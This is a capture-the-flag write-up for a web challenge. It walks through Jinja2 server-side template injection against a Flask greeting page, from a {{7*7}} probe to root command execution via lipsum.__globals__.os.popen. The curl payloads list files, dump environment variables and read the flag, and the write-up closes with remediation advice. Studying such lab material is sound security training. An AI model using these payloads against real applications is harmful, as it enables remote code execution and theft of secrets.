SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 300 PTS

Second Look

AUTHORED BY:@bealthguy10/5/2026

Second Look: Web

What the challenge was

A fan-club greeting page with a single message field. Submitted text was returned inside an <h2> on the same page. The hint stated that nothing looked wrong at first and that things would reveal themselves on the way back, which suggested the output deserved closer inspection.

Initial recon

A normal word was submitted and observed reflecting:

ffcurl -s -X POST -d 'message=hello' http://54.72.82.22:8020 | tail -n 5
<h2>hello</h2>

Direct reflection on a Python server makes template injection worth testing. The standard marker was used:

ffcurl -s -X POST -d 'message={{7*7}}' http://54.72.82.22:8020 | tail -n 5
<h2>49</h2>

The expression evaluated, so the message was rendered as a Jinja2 template.

The path

The engine was confirmed by dumping objects known to be exposed by Jinja2:

ffcurl -s -X POST --data-urlencode 'message={{config}}' http://54.72.82.22:8020 | tail -n 5

That returned the Flask config. A path to the operating system followed:

ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__}}' http://54.72.82.22:8020 | tail -n 5

The output included 'os': <module 'os' (frozen)>, so lipsum exposed the os module. The first command execution attempt appeared empty through a one-line filter, but the raw response was not empty:

ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("id").read()}}' http://54.72.82.22:8020 | tail -n 10
<h2>uid=0(root) gid=0(root) groups=0(root)
</h2>

Remote execution succeeded as root. The working directory and environment were then listed:

ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("ls -la;pwd").read()}}' http://54.72.82.22:8020 | tail -n 10
-rw-r--r--  1 root root   41 Sep 28 20:45 flag
-rw-r--r--  1 root root 5449 Sep 30 12:49 ssti1.py
/app
ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("ls -la /;env|sort").read()}}' http://54.72.82.22:8020 | tail -n 30
FLAG=safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
PWD=/app

The exploit

Execution through the exposed os module reads the flag file:

ffcurl -s -X POST --data-urlencode 'message={{lipsum.__globals__.os.popen("cat flag;cat /app/flag").read()}}' http://54.72.82.22:8020 | tail -n 10

Response:

<h2>safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}
</h2>

The payload {{lipsum.__globals__.os.popen("cat flag").read()}} closes the loop: user input became template code, template code became a subprocess, and the subprocess returned the flag.

The flag

safctf{ac4c0d4a503d4ef281530c5ca9dc8fa4}

Notes on method

A working payload nearly went unnoticed because a single-line filter hid a multi-line result. Reading the raw tail instead of a narrowed match showed the uid=0 output immediately. Checking raw output first whenever an SSTI probe returns an empty element is the reliable habit. The fix is to never render user input as a template, to enable autoescaping, and to run the application as an unprivileged user with secrets outside the working directory.